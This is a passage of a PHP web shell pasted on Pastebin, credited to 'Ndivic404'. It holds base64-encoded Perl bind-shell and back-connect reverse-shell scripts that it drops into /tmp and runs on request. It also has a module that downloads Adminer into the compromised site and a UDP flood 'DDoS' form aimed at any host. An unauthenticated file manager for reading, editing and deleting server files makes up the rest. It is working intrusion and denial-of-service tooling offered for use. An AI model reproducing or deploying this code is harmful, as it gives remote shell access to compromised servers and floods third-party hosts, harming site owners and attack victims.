  1132. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1133. if(isset($_POST['sub_bp'])) {
  1134. $f_bp = fopen("/tmp/bp.pl", "w");
  1135. fwrite($f_bp, base64_decode($bind_port_p));
  1136. fclose($f_bp);
  1137. $port = $_POST['port_bind'];
  1138. $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
  1139. sleep(1);
  1140. echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
  1141. unlink("/tmp/bp.pl");
  1142. }
  1143. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1144. if(isset($_POST['sub_bc'])) {
  1145. $f_bc = fopen("/tmp/bc.pl", "w");
  1146. fwrite($f_bc, base64_decode($back_connect_p));
  1147. fclose($f_bc);
  1148. $ipbc = $_POST['ip_bc'];
  1149. $port = $_POST['port_bc'];
  1150. $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
  1151. sleep(1);
  1152. echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
  1153. unlink("/tmp/bc.pl");
  1154. }}elseif($_GET['do'] == 'adminer') {
  1155. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1156. function adminer($url, $isi) {
  1157. $fp = fopen($isi, "w");
  1158. $ch = curl_init();
  1159. curl_setopt($ch, CURLOPT_URL, $url);
  1160. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1161. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1162. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1163. curl_setopt($ch, CURLOPT_FILE, $fp);
  1164. return curl_exec($ch);
  1165. curl_close($ch);
  1166. fclose($fp);
  1167. ob_flush();
  1168. flush();
  1169. }
  1170. if(file_exists('adminer.php')) {
  1171. echo "<center><font color='green'><a href='$full/adminer.php' target='_blank'>-> Adminer Login <-</a></font></center>";
  1172. } else {
  1173. if(adminer("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php","adminer.php")) {
  1174. echo "<center><font color='green'><a href='$full/adminer.php' target='_blank'>-> Adminer Login <-</a></font></center>";
  1175. } else {
  1176. echo "<center><font color='red'>Failed to Create Adminer</font></center>";
  1177. }}}
  1178. elseif($_GET['do'] == 'ddos'){
  1179. echo '<form method="GET" class="form-group">
  1180. <input type="hidden" name="do" value="ddos">
  1181. Host: <br><input type="text" name="host" class="form-control" placeholder="'.gethostbyname($_SERVER['HTTP_HOST']).'"><br>
  1182. Port: <input type="text" name="port" class="form-control" placeholder="80"><br>
  1183. Length (seconds): <br><input type="text" name="time" class="form-control" placeholder="6969"><br>
  1184. <input type="submit" value="Fire" class="btn btn-danger"></form>';
  1185. $host = $_GET['host'];
  1186. $port = $_GET['port'];
  1187. if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
  1188. $packets = 0;
  1189. ignore_user_abort(TRUE);
  1190. set_time_limit(0);
  1191. $exec_time = $_GET['time'];
  1192. $time = time();
  1193. $max_time = $time+$exec_time;
  1194. for($i=0;$i<65000;$i++){
  1195. $out .= 'X';
  1196. }
  1197. while(1){
  1198. $packets++;
  1199. if(time() > $max_time){
  1200. break;
  1201. }
  1202. $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 5);
  1203. if($fp){
  1204. fwrite($fp, $out);
  1205. fclose($fp);
  1206. }
  1207. }
  1208. echo "DDoS Target ".$host." completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  1209. }
  1210. }
  1211. elseif($_GET['act'] == 'newfile') {
  1212. if($_POST['new_save_file']) {
  1213. $newfile = htmlspecialchars($_POST['newfile']);
  1214. $fopen = fopen($newfile, "a+");
  1215. if($fopen) {
  1216. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  1217. } else {
  1218. $act = "<font color='red'>Permission denied</font>";
  1219. }}
  1220. echo $act;
  1221. echo "<form method='post' class='input-group'>
  1222. <span class='input-group-btn'><button type='button' class='btn btn-default'><b>Filename:</b></button></span>
  1223. <input type='text' name='newfile' value='$dir/newfile.php' class='form-control'>
  1224. <span class='input-group-btn'><input type='submit' name='new_save_file' class='btn btn-danger' value='Submit'></span>
  1225. </form>";
  1226. }elseif($_GET['act'] == 'newfolder') {
  1227. if($_POST['new_save_folder']) {
  1228. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  1229. if(!mkdir($new_folder)) {
  1230. $act = "<font color='red'>Permission denied</font>";
  1231. } else {
  1232. $act = "<script>window.location='?dir=".$dir."';</script>";
  1233. }}
  1234. echo $act;
  1235. echo "<form method='post' class='input-group'>
  1236. <span class='input-group-btn'><button type='button' class='btn btn-default'><b>Folder Name:</b></button></span>
  1237. <input type='text' name='newfolder' class='form-control'>
  1238. <span class='input-group-btn'><input type='submit' name='new_save_folder' class='btn btn-danger' value='Submit'></span>
  1239. </form>";
  1240. } elseif($_GET['act'] == 'rename_dir') {
  1241. if($_POST['dir_rename']) {
  1242. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  1243. if($dir_rename) {
  1244. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1245. } else {
  1246. $act = "<font color='red'>Permission denied</font>";
  1247. }
  1248. echo "".$act."<br>";
  1249. }
  1250. echo "<form method='post' class='input-group'>
  1251. <span class='input-group-btn'><button type='button' class='btn btn-default'><b>Folder Name:</b></button></span>
  1252. <input type='text' value='".basename($dir)."' name='fol_rename' class='form-control'>
  1253. <span class='input-group-btn'><input type='submit' name='dir_rename' class='btn btn-danger' value='Rename'></span>
  1254. </form>";
  1255. } elseif($_GET['act'] == 'delete_dir') {
  1256. $delete_dir = rmdir($dir);
  1257. if($delete_dir) {
  1258. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1259. } else {
  1260. $act = "<font color='red'>could not remove ".basename($dir)."</font>";
  1261. }
  1262. echo $act;
  1263. } elseif($_GET['act'] == 'view') {
  1264. echo "<b>Filename:</b> <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1265. echo "<textarea readonly class='form-control' style='height:400px'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  1266. } elseif($_GET['act'] == 'edit') {
  1267. if($_POST['save']) {
  1268. $save = file_put_contents($_GET['file'], $_POST['src']);
  1269. if($save) {
  1270. $act = "<font color='green'>Saved!</font>";
  1271. } else {
  1272. $act = "<font color='red'>Permission denied</font>";
  1273. }
  1274. echo "".$act."<br>";
  1275. }
  1276. echo "<b>Filename:</b> <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1277. echo "<form method='post' class='form-group'>
  1278. <textarea name='src' class='form-control' style='height:400px'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  1279. <input type='submit' value='Save' name='save' class='btn btn-danger btn-block'>
  1280. </form>";
  1281. } elseif($_GET['act'] == 'rename') {
  1282. if($_POST['do_rename']) {
  1283. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  1284. if($rename) {
  1285. $act = "<script>window.location='?dir=".$dir."';</script>";
  1286. } else {
  1287. $act = "<font color='red'>Permission denied</font>";
  1288. }
  1289. echo "".$act."<br>";
  1290. }
  1291. echo "Filename: <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1292. echo "<form method='post' class='input-group'>
  1293. <input type='text' value='".basename($_GET['file'])."' name='rename' class='form-control'>
  1294. <span class='input-group-btn'><input type='submit' name='do_rename' class='btn btn-danger' value='Rename'></span>
  1295. </form>";
  1296. } elseif($_GET['act'] == 'delete') {
  1297. $delete = unlink($_GET['file']);
  1298. if($delete) {
  1299. $act = "<script>window.location='?dir=".$dir."';</script>";
  1300. } else {
  1301. $act = "<font color='red'>Permission denied</font>";
  1302. }
  1303. echo $act;
  1304. } else {
  1305. if(is_dir($dir) === true) {
  1306. if(!is_readable($dir)) {
  1307. echo "<font color='red'>Can't open directory. ( not readable )</font>";
  1308. } else {
  1309. echo '<table class="table table-bordered table-hover table-responsive">
  1310. <tr>
  1311. <th>Name</th>
  1312. <th>Type</th>
  1313. <th>Size</th>
  1314. <th>Last Modified</th>
  1315. <th>Owner/Group</th>
  1316. <th>Permission</th>
  1317. <th>Action</th>
  1318. </tr>';
  1319. $scandir = scandir($dir);
  1320. foreach($scandir as $dirx) {
  1321. $dtype = filetype("$dir/$dirx");
  1322. $dtime = date("F d Y", filemtime("$dir/$dirx"));
  1323. if(function_exists('posix_getpwuid')) {
  1324. $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  1325. $downer = $downer['name'];
  1326. } else {
  1327. //$downer = $uid;
  1328. $downer = fileowner("$dir/$dirx");
  1329. }
  1330. if(function_exists('posix_getgrgid')) {
  1331. $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  1332. $dgrp = $dgrp['name'];
  1333. } else {
  1334. $dgrp = filegroup("$dir/$dirx");
  1335. }
  1336. if(!is_dir("$dir/$dirx")) continue;
  1337. if($dirx === '..') {
  1338. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  1339. } elseif($dirx === '.') {
  1340. $href = "<a href='?dir=$dir'>$dirx</a>";
  1341. } else {
  1342. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  1343. }
  1344. if($dirx === '.' || $dirx === '..') {
  1345. $act_dir = "<a href='?act=newfile&dir=$dir'>New File</a> | <a href='?act=newfolder&dir=$dir'>New Folder</a>";
  1346. } else {
  1347. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>Rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>Delete</a>";
  1348. }
  1349. echo "<tr>";
  1350. echo "<td><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> $href</td>";
  1351. echo "<td>$dtype</td>";
  1352. echo "<td>-</th></td>";
  1353. echo "<td>$dtime</td>";
  1354. echo "<td>$downer/$dgrp</td>";
  1355. echo "<td>".w("$dir/$dirx",perms("$dir/$dirx"))."</td>";
  1356. echo "<td style='padding-left: 15px;'>$act_dir</td>";
  1357. echo "</tr>";
  1358. }
  1359. }
  1360. } else {
  1361. echo "<font color='red'>can't open directory.</font>";
  1362. }
  1363. foreach($scandir as $file) {
  1364. $ftype = filetype("$dir/$file");
  1365. $ftime = date("F d Y", filemtime("$dir/$file"));
  1366. $size = filesize("$dir/$file")/1024;
  1367. $size = round($size,3);
  1368. if(function_exists('posix_getpwuid')) {
  1369. $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  1370. $fowner = $fowner['name'];
  1371. } else {
  1372. //$downer = $uid;
  1373. $fowner = fileowner("$dir/$file");
  1374. }
  1375. if(function_exists('posix_getgrgid')) {
  1376. $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  1377. $fgrp = $fgrp['name'];
  1378. } else {
  1379. $fgrp = filegroup("$dir/$file");
  1380. }
  1381. if($size > 1024) {
  1382. $size = round($size/1024,2). 'MB';
  1383. } else {
  1384. $size = $size. 'KB';
  1385. }
  1386. if(!is_file("$dir/$file")) continue;
  1387. echo "<tr>";
  1388. echo "<td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  1389. echo "<td>$ftype</td>";
  1390. echo "<td>$size</td>";
  1391. echo "<td>$ftime</td>";
  1392. echo "<td>$fowner/$fgrp</td>";
  1393. echo "<td>".w("$dir/$file",perms("$dir/$file"))."</td>";
  1394. echo "<td style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>Edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>Rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>Delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>Download</a></td>";
  1395. echo "</tr>";
  1396. }
  1397. echo "</table>";
  1398. if(!is_readable($dir)) {
  1399. //
  1400. }
  1401. }
  1402. ?>
  1403. </div>
  1404. </div>
  1405. </div>
  1406. </main>
  1407. <footer class="navbar navbar-inverse navbar-fixed-bottom">
  1408. <div class="copy text-center">
  1409. <p class="footer" style="color:white;">Made with <font color="red" size="5px">&hearts;</font> by Ndivic404</p>
  1410. </div>
  1411. </footer>
  1412. </div>
  1413. <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  1414. </body>
  1415. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!